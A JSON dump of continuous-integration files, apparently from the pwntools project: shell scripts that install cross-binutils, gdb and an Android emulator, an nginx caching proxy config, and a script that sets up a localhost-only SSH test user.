path will not find\n# the right interpreter.\n# c.ScriptMagics.script_paths = {}\n\n#------------------------------------------------------------------------------\n# StoreMagics configuration\n#------------------------------------------------------------------------------\n\n# Lightweight persistence for python variables.\n#\n# Provides the %store magic.\n\n# If True, any %store-d variables will be automatically restored when IPython\n# starts.\n# c.StoreMagics.autorestore = False\n"
  },
  {
    "path": "travis/docker/run.sh",
    "content": "#!/usr/bin/env bash\n\n# We have to explicitly start the ssh service\nsudo service ssh start\n\n# Enable the IPv6 interface\necho 0 | sudo tee /proc/sys/net/ipv6/conf/all/disable_ipv6\n\nPWNLIB_NOTERM=1 coverage3 run -m sphinx -b doctest docs/source docs/build/doctest $TARGET\n"
  },
  {
    "path": "travis/docker/tmux.sh",
    "content": "#!/usr/bin/env zsh\nexec tmux -u -2\n"
  },
  {
    "path": "travis/install.sh",
    "content": "#!/usr/bin/env bash -e\nset -ex\n\nlocal_deb_extract()\n{\n    wget $1\n    ar vx *.deb\n    tar xvf data.tar.*\n    rm -f *.tar.* *deb*\n}\n\ninstall_deb()\n{\n    version=${2:-bionic}\n    package=$1\n    echo \"Installing $package\"\n    INDEX=\"http://packages.ubuntu.com/en/$version/amd64/$package/download\"\n    URL=$(curl -L \"$INDEX\" | grep -Eo \"https?://.*$package.*\\.deb\" | head -1)\n    local_deb_extract \"$URL\"\n}\n\nsetup_travis()\n{\n    export PATH=$PWD/usr/bin:$PATH\n    export LD_LIBRARY_PATH=$PWD/usr/lib:$LD_LIBRARY_PATH\n    export LD_LIBRARY_PATH=$PWD/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH\n\n    # Install a more modern binutils, which is required for some of the tests\n    [[ -f usr/bin/objcopy ]] || install_deb binutils\n\n    # Install/upgrade qemu\n    [[ -f usr/bin/qemu-arm-static ]] || install_deb qemu-user-static xenial\n\n    # Install cross-binutils\n    [[ -f usr/bin/x86_64-linux-gnu-ar ]]    || install_deb binutils-multiarch\n    [[ -f usr/bin/aarch64-linux-gnu-as ]]   || install_deb binutils-aarch64-linux-gnu\n    [[ -f usr/bin/arm-linux-gnueabihf-as ]] || install_deb binutils-arm-linux-gnueabihf\n    [[ -f usr/bin/mips-linux-gnu-as ]]      || install_deb binutils-mips-linux-gnu\n    [[ -f usr/bin/powerpc-linux-gnu-as ]]   || install_deb binutils-powerpc-linux-gnu\n\n    # Test that the installs worked\n    as                      --version\n    x86_64-linux-gnu-ar     --version\n    aarch64-linux-gnu-as    --version\n    arm-linux-gnueabihf-as  --version\n    mips-linux-gnu-as       --version\n    powerpc-linux-gnu-as    --version\n    qemu-arm-static         --version\n\n    mips-linux-gnu-ld       --version\n\n    # Force-install capstone because it's broken somehow\n    [[ -f usr/lib/libcapstone.so.3 ]] || install_deb libcapstone3\n\n    # Install a newer copy of GDB\n    if [[ ! -f usr/bin/gdb ]]; then\n        git clone --depth=1 https://github.com/zachriggle/pwntools-gdb-travis-ci.git\n        tar xf pwntools-gdb-travis-ci/gdb.tar.xz\n        which gdb\n        usr/bin/gdb --version\n    fi\n\n    # Get rid of files we don't want cached\n    rm -rf usr/share\n}\n\nsetup_ipv6()\n{\n    echo 0 | sudo tee /proc/sys/net/ipv6/conf/all/disable_ipv6\n}\n\nsetup_gdbserver()\n{\n    # https://docs.improbable.io/reference/14.3/shared/debug-cloud-workers#common-issues\n    # wget http://archive.ubuntu.com/ubuntu/pool/main/g/gdb/gdbserver_8.3-0ubuntu1_amd64.deb\n    if [[ \"$(gdbserver --version|grep -Eo '[0-9]+\\.[0-9]' |head -1 |cut -d. -f1)\" -gt 8 ]]; then\n        return\n    fi\n    wget https://launchpad.net/ubuntu/+source/gdb/8.3-0ubuntu1/+build/16807407/+files/gdbserver_8.3-0ubuntu1_amd64.deb\n    sudo apt-get install ./gdbserver_8.3-0ubuntu1_amd64.deb\n}\n\n# Contents borrowed from Pwndbg setup.sh\nsetup_rpyc()\n{\n    # Find the Python version used by GDB.\n    PYVER=$(gdb -batch -q --nx -ex 'pi import platform; print(\".\".join(platform.python_version_tuple()[:2]))')\n    PYTHON+=$(gdb -batch -q --nx -ex 'pi import sys; print(sys.executable)')\n    PYTHON+=\"${PYVER}\"\n\n    # Install rpyc\n    ${PYTHON} -m pip install --user --upgrade rpyc\n}\n\nsetup_linux()\n{\n    sudo apt-get install -y software-properties-common openssh-server libncurses5-dev libncursesw5-dev openjdk-8-jre-headless\n    RELEASE=\"$(lsb_release -sr)\"\n    if [[ \"$RELEASE\" < \"16.04\" ]]; then\n        sudo apt-add-repository --yes ppa:pwntools/binutils\n        sudo apt-get update\n        sudo apt-get install -y binutils-arm-linux-gnu binutils-mips-linux-gnu binutils-powerpc-linux-gnu\n    else\n        sudo apt-get install -y binutils-arm-linux-gnueabihf binutils-mips-linux-gnu binutils-powerpc-linux-gnu\n    fi\n}\n\nsetup_osx()\n{\n    brew update\n    brew install binutils\n    brew install capstone\n}\n\nif [[ \"$USER\" == \"travis\" ]]; then\n#   setup_travis\n    setup_ipv6\n    setup_gdbserver\n    setup_rpyc\nelif [[ \"$USER\" == \"shippable\" ]]; then\n    sudo apt-get update\n    sudo apt-get install openssh-server gcc-multilib\n    sudo /usr/sbin/sshd -f /etc/ssh/sshd_config &\n    setup_travis\nelif [[ \"$(uname)\" == \"Darwin\" ]]; then\n    setup_osx\nelif [[ \"$(uname)\" == \"Linux\" ]]; then\n    setup_linux\nfi\n\nset +ex\n"
  },
  {
    "path": "travis/libcdb_nginx_cache.conf",
    "content": "events {\n    worker_connections 1024;\n}\n\nhttp {\n    proxy_cache_path /var/cache/nginx keys_zone=my_cache:1m max_size=1g inactive=12w use_temp_path=off;\n    log_format cache_st '$remote_addr - $remote_user - $upstream_cache_status [$time_local]  '\n                    '\"$request\" $status $body_bytes_sent '\n                    '\"$http_referer\" \"$http_user_agent\"';\n    access_log /dev/stdout cache_st;\n\n    server {\n        listen 3000;\n        proxy_cache my_cache;\n\n        location / {\n            proxy_set_header Host debuginfod.elfutils.org;\n            proxy_ssl_server_name on;\n            proxy_cache_revalidate on;\n            proxy_cache_key $scheme://$host$uri$is_args$query_string;\n            proxy_cache_valid 200 404 12w;\n            proxy_cache_use_stale error timeout http_500 http_502 http_503 http_504 http_429;\n            proxy_pass https://debuginfod.elfutils.org/;\n        }\n    }\n\n    server {\n        listen 3001;\n        proxy_cache my_cache;\n\n        location / {\n            proxy_set_header Host libc.rip;\n            proxy_ssl_server_name on;\n            proxy_cache_methods GET HEAD POST;\n            proxy_cache_revalidate on;\n            proxy_cache_key $scheme://$host$uri$is_args$query_string$request_body;\n            proxy_cache_valid 200 404 12w;\n            proxy_cache_use_stale error timeout http_500 http_502 http_503 http_504 http_429;\n            proxy_pass https://libc.rip/;\n        }\n    }\n\n    server {\n        listen 3002;\n        proxy_cache my_cache;\n\n        location / {\n            proxy_set_header Host archive.ubuntu.com;\n            proxy_cache_revalidate on;\n            proxy_cache_key $scheme://$host$uri$is_args$query_string;\n            proxy_cache_valid 200 404 12w;\n            proxy_cache_use_stale error timeout http_500 http_502 http_503 http_504 http_429;\n            proxy_pass http://archive.ubuntu.com/;\n        }\n    }\n\n    server {\n        listen 3003;\n        proxy_cache my_cache;\n\n        location / {\n            proxy_set_header Host gitlab.com;\n            proxy_ssl_server_name on;\n            proxy_cache_revalidate on;\n            proxy_cache_key $scheme://$host$uri$is_args$query_string;\n            proxy_cache_valid 200 404 12w;\n            proxy_cache_use_stale error timeout http_500 http_502 http_503 http_504 http_429;\n            proxy_pass https://gitlab.com/;\n        }\n    }\n\n    server {\n        listen 3004;\n        proxy_cache my_cache;\n\n        location / {\n            proxy_set_header Host debuginfod.ubuntu.com;\n            proxy_ssl_server_name on;\n            proxy_cache_revalidate on;\n            proxy_cache_key $scheme://$host$uri$is_args$query_string;\n            proxy_cache_valid 200 404 12w;\n            proxy_cache_use_stale error timeout http_500 http_502 http_503 http_504 http_429;\n            proxy_pass https://debuginfod.ubuntu.com/;\n        }\n    }\n}\n"
  },
  {
    "path": "travis/setup_avd.sh",
    "content": "#!/bin/sh\n\nset -ex\n\n# If we are running on Travis CI, and there were no changes to Android\n# or ADB code, then we do not need the emulator\nif [ -n \"$TRAVIS\" ]; then\nif [ -z \"$TRAVIS_COMMIT_RANGE\" ]; then\n    echo \"TRAVIS_COMMIT_RANGE is empty, forcing Android Emulator installation\"\nelif ! (git show \"$TRAVIS_COMMIT_RANGE\" >/dev/null) ; then\n    echo \"TRAVIS_COMMIT_RANGE is invalid, forcing Android Emulator installation\"\nelif [[ \"$TRAVIS_BRANCH\" =~ \"staging\" ]]; then\n    echo \"TRAVIS_BRANCH ($TRAVIS_BRANCH) indicates a branch we care about\"\n    echo \"Forcing Android Emulator installation\"\nelif [[ -n \"$TRAVIS_TAG\" ]]; then\n    echo \"TRAVIS_TAG ($TRAVIS_TAG) indicates a new relase\"\n    echo \"Forcing Android Emulator installation\"\nelif (git log --stat \"$TRAVIS_COMMIT_RANGE\" | grep -iE \"android|adb\" | grep -v \"commit \"); then\n    echo \"Found Android-related commits, forcing Android Emulator installation\"\nelse\n    # In order to avoid running the doctests that require the Android\n    # emulator, while still leaving the code intact, we remove the\n    # RST file that Sphinx searches.\n    rm -f 'docs/source/adb.rst'\n    rm -f 'docs/source/protocols/adb.rst'\n\n    # However, the file needs to be present or else things break.\n    touch 'docs/source/adb.rst'\n    touch 'docs/source/protocols/adb.rst' || true\n\n    echo \"Skipping Android emulator install, Android tests disabled.\"\n    return\nfi\nfi\n\n\nif ! which java; then\necho \"OpenJDK-8-JRE is required for Android stuff\"\nexit 1\nfi\n\nif (uname | grep -i Darwin &>/dev/null); then\nbrew install android-sdk android-ndk\nelse\nif [ ! -f android-sdk/tools/bin/sdkmanager ]; then\n    # Install the SDK, which gives us the 'android' and 'emulator' commands\n    wget -nv -O sdk-tools-linux.zip https://dl.google.com/android/repository/commandlinetools-linux-6858069_latest.zip\n    unzip -q sdk-tools-linux.zip\n    rm    -f sdk-tools-linux.zip\n\n    # Travis caching causes this to exist already\n    rm -rf android-sdk\n\n    mkdir android-sdk\n    mv cmdline-tools android-sdk/\n    file android-sdk/cmdline-tools/bin/sdkmanager\nfi\n\nexport PATH=\"$PWD/android-sdk/cmdline-tools:$PATH\"\nexport PATH=\"$PWD/android-sdk/cmdline-tools/bin:$PATH\"\nexport PATH=\"$PWD/android-sdk/platform-tools:$PATH\"\nexport ANDROID_SDK_ROOT=\"$PWD/android-sdk\"\nexport ANDROID_HOME=\"$PWD/android-sdk\"\nwhich sdkmanager\nfi\n\n# Grab prerequisites\n# Valid ABIs:\n# - armeabi-v7a\n# - arm64-v8a\n# - x86\n# - x86_64\nANDROID_ABI='armeabi-v7a'\nANDROIDV=android-24\nyes | sdkmanager --sdk_root=\"$ANDROID_HOME\" --install platform-tools 'extras;android;m2repository' emulator ndk-bundle \\\n  \"platforms;$ANDROIDV\" \"system-images;$ANDROIDV;default;$ANDROID_ABI\"\nyes | sdkmanager --sdk_root=\"$ANDROID_HOME\" --licenses\n\n# enable NDK for adb.compile()\nfor d in \"$PWD/android-sdk/ndk-bundle/\"*/; do\nexport PATH=\"$PATH:$d\"\ndone\n\n# Create our emulator Android Virtual Device (AVD)\n# --snapshot flag is deprecated, see bitrise-steplib/steps-create-android-emulator#18\necho no | avdmanager --silent create avd --name android-$ANDROID_ABI --force --package \"system-images;$ANDROIDV;default;$ANDROID_ABI\"\n\n# The emulator is crazy and does not even respect its own paths\nsed -i \"s@=android-sdk@=$PWD/android-sdk@\" ~/.android/avd/android-$ANDROID_ABI.avd/config.ini\n\n# In the future, it would be nice to be able to use snapshots.\n# However, I haven't gotten them to work nicely.\nandroid-sdk/emulator/emulator -avd android-$ANDROID_ABI -no-window -no-boot-anim -read-only -no-audio -no-window -no-snapshot &\nadb wait-for-device\nadb shell id\nadb shell getprop\n"
  },
  {
    "path": "travis/setup_avd_fast.sh",
    "content": "#!/bin/sh\n\nset -ex\n\n# Grab prerequisites\n# Valid ABIs:\n# - armeabi-v7a\n# - arm64-v8a\n# - x86\n# - x86_64\nANDROID_ABI='x86_64'\nANDROIDV=android-34\nexport ANDROID_AVD_HOME=\"$HOME/.android/avd\"\nmkdir -p \"$ANDROID_AVD_HOME\"\n\n# Create our emulator Android Virtual Device (AVD)\n# --snapshot flag is deprecated, see bitrise-steplib/steps-create-android-emulator#18\nexport PATH=$PATH:\"$ANDROID_HOME\"/cmdline-tools/latest/bin:\"$ANDROID_HOME\"/platform-tools:\"$ANDROID_HOME\"/emulator\nyes | sdkmanager --sdk_root=\"$ANDROID_HOME\" --install \"system-images;$ANDROIDV;default;$ANDROID_ABI\" \"emulator\" \"platform-tools\" # \"platforms;$ANDROIDV\"\nyes | sdkmanager --sdk_root=\"$ANDROID_HOME\" --licenses\n\necho no | avdmanager --verbose create avd --name android-$ANDROID_ABI --force --abi \"default/$ANDROID_ABI\" --package \"system-images;$ANDROIDV;default;$ANDROID_ABI\"\nemulator -avd android-$ANDROID_ABI -no-window -no-boot-anim -read-only -no-audio -no-window -no-snapshot -gpu off -accel off -no-metrics &\nadb wait-for-device\nadb shell id\nadb shell getprop\n"
  },
  {
    "path": "travis/ssh_setup.sh",
    "content": "#!/usr/bin/env bash\n#\n# Install a demo user for SSH purposes\n#\n# All of the \"conditional sudo\" is to do container-based builds on\n# Travis which are much, much faster.\nset -ex\n\nU=travis\nH=/home/$U\n\nUSUDO()\n{\nif [[ \"$USER\" == \"travis\" ]];\nthen\n    $*\nelse\n    sudo -u $U $*\nfi\n}\n\n\nif [[ \"$USER\" == \"travis\" ]];\nthen\n    rm -f ~/.ssh/*\nelse\n    # Create the new user account\n    # Disable password login for the user, and ensure the account is not locked\n    sudo useradd -m $U\n    sudo passwd --delete --unlock $U\nfi\n\n# Generate a new key so that we can log into it\nssh-keygen -t rsa -f ~/.ssh/$U -N ''\nchmod og-rw ~/.ssh\n\n# Load the public key into a memory for below\npubkey=$(cat ~/.ssh/$U.pub)\n\n# Set the authorized_keys entry to only permit login from localhost,\n# and only with\nUSUDO mkdir $H/.ssh || true\nUSUDO tee -a $H/.ssh/authorized_keys <<EOF\nfrom=\"127.0.0.1\" $pubkey\nEOF\nUSUDO chmod 700 $H $H/.ssh $H/.ssh/authorized_keys\n\n# In the pwntools examples, we ssh to 'example.pwnme'\n# Set up an SSH config entry to make this actually work\ncat >> ~/.ssh/config <<EOF\n\nHost example.pwnme\n    User $U\n    HostName 127.0.0.1\n    IdentityFile ~/.ssh/$U\n    StrictHostKeyChecking no\nEOF\nchmod 700 ~ ~/.ssh\n\nls -la ~/.ssh\nUSUDO ls -la $H/.ssh\n\nssh -v travis@example.pwnme id\n\nset +ex\n"
  }
]